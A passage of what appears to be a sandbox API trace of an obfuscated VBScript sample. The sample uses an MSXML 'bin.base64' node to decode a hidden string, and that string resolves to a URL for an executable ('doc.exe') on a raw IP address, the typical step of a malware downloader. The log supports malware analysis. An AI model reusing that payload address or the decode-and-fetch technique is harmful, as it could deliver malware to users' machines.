riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a974 | out: ppvObject=0x14a974*=0x83fd490) returned 0x0 [0066.739] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a9b0 | out: ppvObject=0x14a9b0*=0x0) returned 0x80004002 [0066.739] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x5 [0066.739] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x4 [0066.739] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14a9c0 | out: ppvObject=0x14a9c0*=0x0) returned 0x80004002 [0066.739] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a978 | out: ppvObject=0x14a978*=0x83fd480) returned 0x0 [0066.739] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a974 | out: ppvObject=0x14a974*=0x83fd490) returned 0x0 [0066.740] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14a9c0 | out: ppvObject=0x14a9c0*=0x0) returned 0x80004002 [0066.740] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x5 [0066.740] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x4 [0066.740] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0066.740] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a978 | out: ppvObject=0x14a978*=0x83fd480) returned 0x0 [0066.740] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a974 | out: ppvObject=0x14a974*=0x83fd490) returned 0x0 [0066.740] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0066.740] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x5 [0066.740] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x4 [0066.740] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0066.740] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a978 | out: ppvObject=0x14a978*=0x83fd480) returned 0x0 [0066.740] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a974 | out: ppvObject=0x14a974*=0x83fd490) returned 0x0 [0066.740] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0066.740] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x5 [0066.740] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x4 [0066.740] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x3 [0066.740] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x2 [0066.740] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ba50 | out: ppvObject=0x14ba50*=0x1112a88) returned 0x0 [0066.740] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x14ba54 | out: ppvObject=0x14ba54*=0x0) returned 0x80004002 [0066.740] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ba24 | out: ppvObject=0x14ba24*=0x83fd480) returned 0x0 [0066.740] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ba20 | out: ppvObject=0x14ba20*=0x83fd490) returned 0x0 [0066.740] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x14ba54 | out: ppvObject=0x14ba54*=0x0) returned 0x80004002 [0066.740] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x5 [0066.740] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x4 [0066.740] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x2 [0066.741] DOMDocument:IUnknown:Release (This=0x553a3c) returned 0x1 [0066.741] DOMDocument:IUnknown:QueryInterface (in: This=0x553a10, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bae4 | out: ppvObject=0x14bae4*=0x554650) returned 0x0 [0066.741] DOMDocument:IUnknown:AddRef (This=0x554650) returned 0x2 [0066.741] DOMDocument:IUnknown:Release (This=0x554650) returned 0x1 [0066.741] DOMDocument:IUnknown:Release (This=0x553a10) returned 0x2 [0066.741] DOMDocument:IUnknown:QueryInterface (in: This=0x554650, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbcc | out: ppvObject=0x14bbcc*=0x554684) returned 0x0 [0066.741] DOMDocument:IDispatchEx:GetDispId (in: This=0x554684, bstrName="CreateElement", grfdex=0x8, pid=0x14bbe8 | out: pid=0x14bbe8*=41) returned 0x0 [0066.741] DOMDocument:IUnknown:Release (This=0x554684) returned 0x1 [0066.741] DOMDocument:IUnknown:AddRef (This=0x554650) returned 0x2 [0066.741] DOMDocument:IUnknown:QueryInterface (in: This=0x554650, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbd4 | out: ppvObject=0x14bbd4*=0x554684) returned 0x0 [0066.742] ??2@YAPAXI@Z () returned 0x846d1c8 [0066.742] VBScriptEngine5:IUnknown:AddRef (This=0x83fd480) returned 0x5 [0066.742] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x846d1e0 | out: ppvObject=0x846d1e0*=0x83fd480) returned 0x0 [0066.742] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x5 [0066.742] DOMDocument:IDispatchEx:InvokeEx (in: This=0x554684, id=41, lcid=0x409, wFlags=0x3, pdp=0x14bba0*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0xb4c, wReserved3=0x0, varVal1="aux", varVal2=0x4)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x14bcb4, pei=0x14bb7c, pspCaller=0x846d1c8 | out: pdp=0x14bba0*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0xb4c, wReserved3=0x0, varVal1="aux", varVal2=0x4)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x14bcb4*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x554700, varVal2=0x0), pei=0x14bb7c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0066.800] DOMDocument:IUnknown:Release (This=0x554684) returned 0x2 [0066.800] DOMDocument:IUnknown:Release (This=0x554650) returned 0x1 [0066.800] DOMDocument:IUnknown:QueryInterface (in: This=0x554700, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bac4 | out: ppvObject=0x14bac4*=0x5546e0) returned 0x0 [0066.800] DOMDocument:IUnknown:Release (This=0x554700) returned 0x1 [0066.800] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0066.800] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bb08 | out: ppvObject=0x14bb08*=0x1197760) returned 0x0 [0066.800] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="alxmd", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=1358720) returned 0x80020006 [0066.800] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="alxmd", grfdex=0x8, pid=0x14ba7c | out: pid=0x14ba7c*=-1) returned 0x80020006 [0066.800] GetCurrentThreadId () returned 0xd44 [0066.801] IUnknown:Release (This=0x1197760) returned 0x8 [0066.801] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0066.801] ??3@YAXPAX@Z () returned 0x840001 [0066.801] free (_Block=0x11c7d90) [0066.801] ??3@YAXPAX@Z () returned 0x4a0001 [0066.801] ??3@YAXPAX@Z () returned 0x740001 [0066.802] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0066.802] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0066.802] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0066.802] GetCurrentThreadId () returned 0xd44 [0066.802] IUnknown:Release (This=0x1197760) returned 0x7 [0066.802] malloc (_Size=0x404) returned 0x11c1e90 [0066.802] ??2@YAPAXI@Z () returned 0x86a0bc0 [0066.802] malloc (_Size=0x804) returned 0x8790008 [0066.802] ??2@YAPAXI@Z () returned 0x1198d90 [0066.802] ??3@YAXPAX@Z () returned 0x1 [0066.802] malloc (_Size=0x204) returned 0x8790818 [0066.802] malloc (_Size=0x40) returned 0x1197838 [0066.803] malloc (_Size=0x124) returned 0x83cedd8 [0066.803] ??2@YAPAXI@Z () returned 0x11291c0 [0066.803] free (_Block=0x83d08e0) [0066.803] free (_Block=0x8790008) [0066.803] ??3@YAXPAX@Z () returned 0x740001 [0066.803] free (_Block=0x1197838) [0066.803] free (_Block=0x8790818) [0066.803] free (_Block=0x8460768) [0066.803] ??2@YAPAXI@Z () returned 0x86a0bc0 [0066.803] ??2@YAPAXI@Z () returned 0x83fd610 [0066.803] IUnknown:AddRef (This=0x1197760) returned 0x8 [0066.803] _wcsicmp (_String1="wslausfychks", _String2="age64Dicode") returned 22 [0066.803] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0066.803] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbcc | out: ppvObject=0x14bbcc*=0x5546e0) returned 0x0 [0066.803] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="DataType", grfdex=0x8, pid=0x14bbe8 | out: pid=0x14bbe8*=26) returned 0x0 [0066.804] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0066.804] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0066.804] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbd4 | out: ppvObject=0x14bbd4*=0x5546e0) returned 0x0 [0066.804] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=26, lcid=0x409, wFlags=0x4, pdp=0x14bba0*(rgvarg=([0]=0x14badc*(varType=0x8, wReserved1=0x11c, wReserved2=0x2b, wReserved3=0x0, varVal1="bin.base64", varVal2=0x802)), rgdispidNamedArgs=([0]=0x14bb9c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14bb7c, pspCaller=0x846d1c8 | out: pdp=0x14bba0*(rgvarg=([0]=0x14badc*(varType=0x8, wReserved1=0x11c, wReserved2=0x2b, wReserved3=0x0, varVal1="bin.base64", varVal2=0x802)), rgdispidNamedArgs=([0]=0x14bb9c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14bb7c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0066.857] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0066.857] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0066.857] ??3@YAXPAX@Z () returned 0x840001 [0066.858] free (_Block=0x83cedd8) [0066.858] ??3@YAXPAX@Z () returned 0x4a0001 [0066.858] ??3@YAXPAX@Z () returned 0x740001 [0066.858] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0066.858] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vartyzx", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0066.858] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vartyzx", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0066.858] GetCurrentThreadId () returned 0xd44 [0066.858] IUnknown:Release (This=0x1197760) returned 0x7 [0066.859] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0066.859] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vartx", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0066.859] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vartx", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0066.859] GetCurrentThreadId () returned 0xd44 [0066.859] IUnknown:Release (This=0x1197760) returned 0x7 [0066.859] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0066.859] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0066.859] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0066.859] GetCurrentThreadId () returned 0xd44 [0066.860] IUnknown:Release (This=0x1197760) returned 0x7 [0066.860] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0066.860] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0066.860] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0066.860] GetCurrentThreadId () returned 0xd44 [0066.860] IUnknown:Release (This=0x1197760) returned 0x7 [0066.860] ??2@YAPAXI@Z () returned 0x86a0bc0 [0066.860] malloc (_Size=0x804) returned 0x8790008 [0066.860] ??2@YAPAXI@Z () returned 0x1198d90 [0066.861] ??3@YAXPAX@Z () returned 0x1 [0066.861] malloc (_Size=0x204) returned 0x8790818 [0066.861] malloc (_Size=0x40) returned 0x1197838 [0066.861] malloc (_Size=0x110) returned 0x1198d90 [0066.861] ??2@YAPAXI@Z () returned 0x11291c0 [0066.861] free (_Block=0x83d08e0) [0066.861] free (_Block=0x8790008) [0066.861] ??3@YAXPAX@Z () returned 0x740001 [0066.861] free (_Block=0x1197838) [0066.861] free (_Block=0x8790818) [0066.861] free (_Block=0x8460768) [0066.861] ??2@YAPAXI@Z () returned 0x86a0bc0 [0066.861] ??2@YAPAXI@Z () returned 0x83fd610 [0066.862] IUnknown:AddRef (This=0x1197760) returned 0x8 [0066.862] _wcsicmp (_String1="cvwtr5ycbve", _String2="age64Dicode") returned 2 [0066.862] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0066.862] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbcc | out: ppvObject=0x14bbcc*=0x5546e0) returned 0x0 [0066.862] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="Text", grfdex=0x8, pid=0x14bbe8 | out: pid=0x14bbe8*=24) returned 0x0 [0066.862] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0066.862] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0066.862] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbd4 | out: ppvObject=0x14bbd4*=0x5546e0) returned 0x0 [0066.863] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=24, lcid=0x409, wFlags=0x4, pdp=0x14bba0*(rgvarg=([0]=0x14badc*(varType=0x8, wReserved1=0x0, wReserved2=0x6730, wReserved3=0x83d, varVal1="aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=", varVal2=0x2b)), rgdispidNamedArgs=([0]=0x14bb9c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14bb7c, pspCaller=0x846d1c8 | out: pdp=0x14bba0*(rgvarg=([0]=0x14badc*(varType=0x8, wReserved1=0x0, wReserved2=0x6730, wReserved3=0x83d, varVal1="aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=", varVal2=0x2b)), rgdispidNamedArgs=([0]=0x14bb9c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14bb7c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0066.870] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0066.870] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0066.870] ??3@YAXPAX@Z () returned 0x840001 [0066.870] free (_Block=0x1198d90) [0066.870] ??3@YAXPAX@Z () returned 0x4a0001 [0066.870] ??3@YAXPAX@Z () returned 0x740001 [0066.870] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14beb8 | out: ppvObject=0x14beb8*=0x5546e0) returned 0x0 [0066.871] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="NodeTypedValue", grfdex=0x8, pid=0x14bed4 | out: pid=0x14bed4*=25) returned 0x0 [0066.871] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0066.871] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0066.871] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bec0 | out: ppvObject=0x14bec0*=0x5546e0) returned 0x0 [0066.871] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=25, lcid=0x409, wFlags=0x3, pdp=0x14be8c*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718, pei=0x14be68, pspCaller=0x846d1c8 | out: pdp=0x14be8c*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b48730*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b1d7e8*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), pei=0x14be68*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0066.871] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0066.871] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0066.871] IUnknown:AddRef (This=0x1197760) returned 0x8 [0066.872] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, 